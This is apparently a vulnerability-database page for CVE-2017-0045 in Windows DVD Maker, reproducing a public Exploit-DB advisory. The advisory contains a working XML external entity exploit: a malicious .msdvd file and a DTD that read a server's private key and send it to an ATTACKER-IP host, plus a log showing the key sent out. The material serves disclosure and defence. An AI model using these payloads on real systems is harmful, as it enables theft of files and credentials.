CVE-2017-0045

medium
Published 2017-03-17 ยท Modified 2026-05-13
CVSS v3
5.5
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
6.5

Description

Windows DVD Maker in Windows 7 SP1, Windows Server 2008 SP2 and R2 SP1, and Windows Vista SP2 does not properly parse crafted .msdvd files, which allows attackers to obtain information to compromise a target system, aka "Windows DVD Maker Cross-Site Request Forgery Vulnerability."

Predictions

Exploit likelihood
55%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-41619 local windows text ยท 6 KB
hyp3rlinx ยท 2017-03-16

Microsoft Windows DVD Maker 6.1.7 - XML External Entity Injection

text exploit Source: Exploit-DB
[+] Credits: John Page AKA hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-DVD-MAKER-XML-EXTERNAL-ENTITY-FILE-DISCLOSURE.txt
[+] ISR: ApparitionSec



Vendor:
=================
www.microsoft.com



Product:
=================
Windows DVD Maker 
v6.1.7

Windows DVD Maker is a feature you can use to make DVDs that you can watch on a computer or on a TV using a regular DVD player. 



Vulnerability Type:
=============================
XML External Entity Injection



CVE Reference:
==============
CVE-2017-0045 
MS17-020



Security issue:
================
Windows DVD Maker Project ".msdvd" files are prone to XML External Entity attacks allowing remote attackers to gain access
to files from a victims computer using a specially crafted malicious .msdvd file, resulting in remote information / file disclosures. 


POC URL:
=========
https://vimeo.com/208383182


References:
============
https://technet.microsoft.com/library/security/MS17-020
https://support.microsoft.com/en-us/help/3208223/ms17-020-security-update-for-windows-dvd-maker-march-14-2017

Applies to:

Windows Server 2008 R2 Service Pack 1
Windows Server 2008 R2 Datacenter
Windows Server 2008 R2 Enterprise
Windows Server 2008 R2 Standard
Windows Web Server 2008 R2
Windows Server 2008 R2 Foundation
Windows 7 Service Pack 1
Windows 7 Ultimate
Windows 7 Enterprise
Windows 7 Professional
Windows 7 Home Premium
Windows 7 Home Basic
Windows 7 Starter
Windows Server 2008 Service Pack 2
Windows Server 2008 Foundation
Windows Server 2008 Standard
Windows Server 2008 for Itanium-Based Systems
Windows Web Server 2008
Windows Server 2008 Enterprise
Windows Server 2008 Datacenter
Windows Vista Service Pack 2
Windows Vista Home Basic
Windows Vista Home Premium
Windows Vista Business
Windows Vista Ultimate
Windows Vista Enterprise
Windows Vista Starter



Exploit code(s):
===============
Steal XAMPP Web Servers private key "server.key".

1) python -m SimpleHTTPServer 8080 (listens on ATTACKER-IP, hosts payload.dtd)


2) "payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>

<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER-IP:8080?%file;'>">

%all;



3) "Evil.msdvd" 

<?xml version="1.0"?>
<!DOCTYPE NYHC [ 
<!ENTITY % file SYSTEM "C:\xampp\apache\conf\ssl.key\server.key">
<!ENTITY % dtd SYSTEM "http://ATTACKER-IP:8080/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>


RESULT:
XAMPP Web Server private key sent to attacker:

e.g.

C:\>python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...

127.0.0.1 - - [13/Mar/2017 23:53:36] "GET /payload.dtd HTTP/1.1" 200 -
127.0.0.1 - - [13/Mar/2017 23:53:36] "GET /?-----BEGIN%20RSA%20PRIVATE%20KEY-----MIICXQIBAAKBgQDBJdMn4+ytDYNqbedfmnUQI+KQnaBjlY8dQZpY1ZpjjFtzhpB5zMPWo3m4dbwelHx8buOt0CdcC8YMavkPMv6zxHoQIwQrKSjUqvmzL2YQ+KfBzWDEayhX42c7957NSCLcOOpIE4A6QJdXDEc1Rj1xYpruU51jDmd6KMmkNP8Z7QIDAQABAoGBAJvUs58McihQrcVRdIoaqPXjrei1c/DEepnFEw03EpzyYdo8KBZM0Xg7q2KKgsM9U45lPQZTNmY6DYh5SgYsQ3dGvocvwndq+wK+QsWH8ngTYqYqwUBBCaX3kwgknAc++EpRRVmV0dJMdXt3xAUKSXnDP9fLPdKXffJoG7C1HHVVAkEA+087rR2FLCjdRq/9WhIT/p2U0RRQnMJyQ74chIJSbeyXg8E
ll5QxhSg7skrHSZ0cBPhyaLNDIZkn3NMnK2UqhwJBAMTAsUorHNo4dGpO8y2HE6QXxeuX05OhjiO8H2hmkcuMi2C9OwGIrI+lx1Q8mK261NKJh7sSVwQikh5YQYLKcOsCQQD6YqcChDb7GHvewdmatAhX1ok/Bw6KIPHXrMKdA3s9KkyLaRUbQPtVwBA6Q2brYS1Zhm/3ASQRhZbB3V9ZTSJhAkB772097P5Vr24VcPnZWdbTbG4twwtxWTix5dRa7RY/k55QJ6K9ipw4OBLhSvJZrPBWVm97NUg+wJAOMUXC30ZVAkA6pDgLbxVqkCnNgh2eNzhxQtvEGE4a8yFSUfSktS9UbjAATRYXNv2mAms32aAVKTzgSTapEX9M1OWdk+/yJrJs-----END%20RSA%20PRIVATE%20KEY----- HTTP/1.1" 301 -
127.0.0.1 - - [13/Mar/2017 23:53:37] "GET /?-----BEGIN%20RSA%20PRIVATE%20KEY-----MIICXQIBAAKBgQDBJdMn4+ytDYNqbrdfmnUQI+KQnaBjlY8dQZpY1ZxjjFtzhpB5zMPmo4m4dbwelHx8buOt6CdcC8YMavkPMv6zxHoQIwQrKSjUqvmzL2YQ+KfBzWDEayhX42c7957NSCLcOOpIE4A6QJdXDEc1Rj1xYpruU51jDmd6KMmkNP8Z7QIDAQABAoGBAJvUs58McihQrcVRdIoaqPXjrei1c/DEepnFEw03EpzyYdo8KBZM0Xg7q2KKgsM9U45lPQZTNmY6DYh5SgYsQ3dGvocvwndq+wK+QsWH8ngTYqYqwUBBCaX3kwgknAc++EpRRVmV0dJMdXt3xAUKSXnDP9fLPdKXffJoG7C1HHVVAkEA+087rR2FLCjdRq/9WhIT/p2U0RRQnMJyQ74chIJSbeyXg8E
ll5QxhSg7skrHSZ0cBPhyaLNDIZkn3NMnK2UqhwJBAMTAsUorHNo4dGpO8y2HE6QXxeuX05OhjiO8H2hmmcuMi2C9OwGIrI+lx1Q8mK261NKJh7sSVwQikh3YQYiKcOsCQQD6YqcChDb7GHvewdmatAhX1ok/Bw6KIPHXrMKdA3s9KkyLaRUbQPtVwBA6Q2brYS1Zhm/3ASQRhZbB3V9ZTSJhAkB772097P5Vr24VcPnZWdbTbG4twwtxWTix5dRa7RY/k55QJ6K9ipw4OBLhSvJZrPBWVm97NUg+wJAOMUXC30ZVAkA6pDgLbxVqkCnNgh2eNzhxQtvEGE4a8yFSUfSktS9UbjAATRYXNv2mAms32aAVKTzgSTapEX9M1OWdk+/yJrJs-----END%20RSA%20PRIVATE%20KEY-----/ HTTP/1.1" 200 -




Disclosure Timeline:
=========================================
Vendor Notification: September 3, 2016
Vendor acknowledgement: November 17, 2016
March 14, 2017 : Vendor released MS17-020
March 15, 2017 : Public Disclosure



Network access:
=================
Remote



Severity:
===========
High



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

OS impact

windows Windows Affected 2 releases
VersionStatusFixed in
r2 Affected โ€”
โ€” Affected โ€”

References

CWEs

CWE-352

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.